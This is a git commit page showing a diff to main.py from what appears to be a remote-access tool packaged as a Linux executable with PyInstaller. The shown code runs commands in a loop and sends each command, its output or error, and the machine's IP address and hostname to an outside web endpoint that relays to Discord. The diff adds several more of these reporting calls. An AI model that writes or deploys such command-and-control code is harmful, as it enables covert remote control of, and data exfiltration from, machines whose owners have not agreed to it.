summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-16 23:46:19 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-16 23:48:20 +0800
commit5e599b1c1494575ac750b0732dd25943e25ff52a (patch)
tree1694f9a0ebe5ada578cba747a08309b8ae557116 /main.py
parente0f81e73befa811bd1b257a597c32730eafa9441 (diff)
updated
deleted: build/main/Analysis-00.toc deleted: build/main/BUNDLE-00.toc deleted: build/main/EXE-00.toc deleted: build/main/PKG-00.toc deleted: build/main/PYZ-00.pyz deleted: build/main/PYZ-00.toc deleted: build/main/base_library.zip deleted: build/main/localpycs/pyimod01_archive.pyc deleted: build/main/localpycs/pyimod02_importers.pyc deleted: build/main/localpycs/pyimod03_ctypes.pyc deleted: build/main/localpycs/struct.pyc deleted: build/main/main.pkg deleted: build/main/warn-main.txt deleted: build/main/xref-main.html deleted: build/setup/Analysis-00.toc deleted: build/setup/BUNDLE-00.toc deleted: build/setup/EXE-00.toc deleted: build/setup/PKG-00.toc deleted: build/setup/PYZ-00.pyz deleted: build/setup/PYZ-00.toc deleted: build/setup/base_library.zip deleted: build/setup/localpycs/pyimod01_archive.pyc deleted: build/setup/localpycs/pyimod02_importers.pyc deleted: build/setup/localpycs/pyimod03_ctypes.pyc deleted: build/setup/localpycs/struct.pyc deleted: build/setup/setup.pkg deleted: build/setup/warn-setup.txt deleted: build/setup/xref-setup.html modified: dist/main-linux modified: main.py deleted: main.spec deleted: setup.spec
Diffstat (limited to 'main.py')
-rw-r--r--main.py10
1 files changed, 9 insertions, 1 deletions
diff --git a/main.py b/main.py
index 9e3994b..6140b37 100644
--- a/main.py
+++ b/main.py
@@ -101,7 +101,15 @@ while True:
continue
try:
if e.output.decode() != "":
- post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```Error: {e.output.decode()} exited with code {e.returncode}```- {ip}@{hostname}")
+ if e.returncode == 127:
+ if localcmd:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Error: {localcmd}: Command not found```")
+ else:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```Error: {command}: Command not found```")
+ if localcmd:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {localcmd}`` ```Error: {e.output.decode()} exited with code {e.returncode}```- {ip}@{hostname}")
+ else:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```Error: {e.output.decode()} exited with code {e.returncode}```- {ip}@{hostname}")
else:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```Error: exited with no output and code {e.returncode}```- {ip}@{hostname}")
except KeyboardInterrupt: